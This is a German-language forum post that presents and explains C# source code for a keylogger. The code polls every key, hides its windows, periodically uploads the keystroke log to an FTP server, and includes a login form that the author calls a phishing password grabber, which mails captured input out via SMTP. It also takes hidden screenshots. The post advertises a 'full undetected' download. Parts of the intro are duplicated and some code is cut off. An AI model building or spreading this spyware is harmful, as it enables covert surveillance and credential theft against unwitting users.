High alle miteinander,
viele fragen sich wie so ein Keylogger aufgebaut ist , wie der funktioniert.
kein Problem ich habe mal einen KeyloggerExample in C# mal für mich geschrieben , dass ich heute mal veröffentliche und erkläre.
zuerst mal:
1.Wichtig ist es in der Class Form die DLL imports in User32 einzutragen, Ihr braucht definitiv keybuffer der keyhooks.
2. Ihr braucht einen Timer wo die GetAsynckeystate aufgeführt wird die auch den Intervall und keybuffer verwendet , keybuffer werden einzeln aufgelistet da alles keys eingetragen werden müssen. gespeichert werden die Keylogdaten auf einer Textdatei
Form_load()
Ich glaub da ist nicht viel zu sagen
Timer 2 :
soweit verstanden ? ok !
Ich hab noch ein paar Featueres : Logginlogger (password Grabber Phishing )
Funktion geht über System.Net.Mail ist eigentlich ganz simpel und einfach zu verstehen.
3. Screencapture(s)
In dieser Application wird die Screencapture gezeigt wie sie erstellt wird und über FTP oder wahlweise Mail abgespeichert und versendet wird
Projekt Download (Full undetected ) Version
viele fragen sich wie so ein Keylogger aufgebaut ist , wie der funktioniert.
kein Problem ich habe mal einen KeyloggerExample in C# mal für mich geschrieben , dass ich heute mal veröffentliche und erkläre.
zuerst mal:
1.Wichtig ist es in der Class Form die DLL imports in User32 einzutragen, Ihr braucht definitiv keybuffer der keyhooks.
Code:
public partial class Form1 : Form
{
//dll imports
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Key Emulation
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
string keyBuffer = "";
public Form1()
{
InitializeComponent();
}
}
}
2. Ihr braucht einen Timer wo die GetAsynckeystate aufgeführt wird die auch den Intervall und keybuffer verwendet , keybuffer werden einzeln aufgelistet da alles keys eingetragen werden müssen. gespeichert werden die Keylogdaten auf einer Textdatei
Code:
private void timer1_Tick(object sender, EventArgs e)
{
timer1.Interval = 3;
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == -32767))
{
keyBuffer += Enum.GetName(typeof(Keys), i) + " ";// sind die WinApi keys (für keybuffer)
}
}
if (keyBuffer != "")
{
//Wichtig Keybuffer , wichtig keyhooks
//Zeichen
keyBuffer = keyBuffer.Replace("Space", "_");
keyBuffer = keyBuffer.Replace("Delete", "_Del_");
keyBuffer = keyBuffer.Replace("LShiftKey", "_SHIFT_");
keyBuffer = keyBuffer.Replace("ShiftKey", "");
keyBuffer = keyBuffer.Replace("OemQuotes", "!");
keyBuffer = keyBuffer.Replace("Oemcomma", "?");
keyBuffer = keyBuffer.Replace("D8", "á");
keyBuffer = keyBuffer.Replace("D2", "ě");
keyBuffer = keyBuffer.Replace("D3", "š");
keyBuffer = keyBuffer.Replace("D4", "č");
keyBuffer = keyBuffer.Replace("D5", "ř");
keyBuffer = keyBuffer.Replace("D6", "ž");
keyBuffer = keyBuffer.Replace("D7", "ý");
keyBuffer = keyBuffer.Replace("D9", "í");
keyBuffer = keyBuffer.Replace("D0", "é");
//Grossbuchtaben
keyBuffer = keyBuffer.Replace("capslocka", "A");
keyBuffer = keyBuffer.Replace("_shift_a", "A");
// Zeichen
keyBuffer = keyBuffer.Replace("menulmenu_ctrl_é", "}");
keyBuffer = keyBuffer.Replace("menulmenu_ctrl_á", "[");
keyBuffer = keyBuffer.Replace("menulmenu_ctrl_í", "]");
keyBuffer = keyBuffer.Replace("Back", "<==");
keyBuffer = keyBuffer.Replace("LButton", "");
keyBuffer = keyBuffer.Replace("RButton", "");
keyBuffer = keyBuffer.Replace("NumPad", "");
keyBuffer = keyBuffer.Replace("OemPeriod", ".");
keyBuffer = keyBuffer.Replace("OedpmSemicolon", "ü");
keyBuffer = keyBuffer.Replace("Oem4", "/");
keyBuffer = keyBuffer.Replace("LControlKey", "");
keyBuffer = keyBuffer.Replace("ControlKey", "_CTRL_");
keyBuffer = keyBuffer.Replace("Enter", "");
keyBuffer = keyBuffer.Replace("Shift", "____SHIFT___");
keyBuffer = keyBuffer.ToLower();
keyBuffer = keyBuffer.Replace(" ", "");
keyBuffer = keyBuffer.Replace("_shift_.",":");
keyBuffer = keyBuffer.Replace("!","ä");
keyBuffer = keyBuffer.Replace("oemtilde", "ö");
keyBuffer = keyBuffer.Replace("_ctrl_menulmenuq", "@");
keyBuffer = keyBuffer.Replace("oem2","#");
keyBuffer = keyBuffer.Replace("oemplus", "+");
keyBuffer = keyBuffer.Replace("oempipe", "^");
keyBuffer = keyBuffer.Replace("oempipeoempipe", "^^");
keyBuffer = keyBuffer.Replace("_shift_oempipe","°");
//Keybuffer Wiedergabe in Textbox1.text
textBox1.Text = keyBuffer;
// Abspeicherung ein Textdatei
string ausl = textBox1.Text;
File.WriteAllText(@"D:\KeyLog.txt", ausl);
Form_load()
Ich glaub da ist nicht viel zu sagen
Code:
new LogInLogger().Show();
new Features1().Show();
this.WindowState = FormWindowState.Minimized;
Hide();
Da ist es wichtig den Versand der Textdatei zu versenden , ich verwende dafür FTP ,es ist jedem selbst überlassen man kann auch dessen Mail Versand nutzen
Wichtig ist die Timer Instanz
[CODE] private void button1_Click(object sender, EventArgs e)
{
// wird die Datei zu deinem FTP Acc Versand!
WebClient wc = new WebClient();
wc.Credentials = new NetworkCredential("User", "Pass");
wc.UploadFile("ftp://192.168.0.21/Umschreib.txt", Application.StartupPath + @"\deineDatei.txt");
wc.Dispose();
/* verwende MessageBox um sicher zu gehn das die datei versand worden ist
* MessageBox.Show(" datei versendet")
*/
Timer 2 :
Code:
private void timer2_Tick(object sender, EventArgs e)
{
// Führt FTP aus , führe stehts bei verwendung den Timer auf True / Intervall bitte nicht 100!! /läuft gut bei 300000
button1_Click(sender, e);
soweit verstanden ? ok !
Ich hab noch ein paar Featueres : Logginlogger (password Grabber Phishing )
Funktion geht über System.Net.Mail ist eigentlich ganz simpel und einfach zu verstehen.
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
namespace Keylogger_example
{
// Acc Phishing Hack @t Mail + Ftp das ist euch überlassen
public partial class LogInLogger : Form
{
public LogInLogger()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
// erstellt Mailmessage und smpt client
MailMessage message = new MailMessage();
SmtpClient smpt = new SmtpClient();
// Mailvorgang/Versand
message.From = new MailAddress("Deine Mailadresse");
message.To.Add(new MailAddress("E-mail"));
message.Subject = this.textBox1.Text ;
message.Body = this.textBox2.Text ;
//SMPT Host und Port / user/ Passwort
smpt.Host = "smtp.server.info";
smpt.Port = 000; // Verwende für deinen smtp den richtigen port zB.587 oder 0x19
smpt.Credentials = new System.Net.NetworkCredential("Deine Mailadresse", "Passwort");
smpt.EnableSsl = true; // Die Runtime entschlüsselt die SMTP Komunikation
smpt.Send(message);
}
public object m { get; set; }
private void LogInLogger_Load(object sender, EventArgs e)
{
}
}
}
3. Screencapture(s)
In dieser Application wird die Screencapture gezeigt wie sie erstellt wird und über FTP oder wahlweise Mail abgespeichert und versendet wird
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing.Imaging;
namespace Keylogger_example // simple anwendung Screencapture
{
public partial class Features1 : Form
{
public object sceencapture(int locX, int locY, int width, int height)
{
// zur Bilderstellung
Bitmap newImage = new Bitmap(width, height);
using (Graphics g = Graphics.FromImage(newImage))
{
g.CopyFromScreen(this.Bounds.X, this.Bounds.Y, 0, 0, newImage.Size);// Die Bilderstellung von Windowscreen
}
return newImage;
}
public Features1()
{
InitializeComponent();
}
private void Features1_Load(object sender, EventArgs e)
{
//wichtig denn in der Funktion Eigenschaften wird das bild nicht übernommen
this.Opacity = 0.0;
this.ShowInTaskbar = false;
this.Hide();
this.WindowState = FormWindowState.Minimized;
}
private void button1_Click(object sender, EventArgs e)
{
}
private void timer1_Tick(object sender, EventArgs e)
{
// Bilderstellung duch Primäre Bilderstellung von Bitmap / Picturebox = Bilderstellung von Winddows in einen screenshot
Rectangle bounds = Screen.PrimaryScreen.Bounds;
Bitmap sceenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
Graphics.FromImage(sceenshot).CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
this.pictureBox1.Image = sceenshot;
// Erstellt das Bild auf D:
((Bitmap)this.sceencapture(this.pictureBox1.Location.X, this.pictureBox1.Location.Y, this.pictureBox1.Width, this.pictureBox1.Height)).Save(@"D:\DeinBild.bmp", ImageFormat.Bmp);
}
}
}
Projekt Download (Full undetected ) Version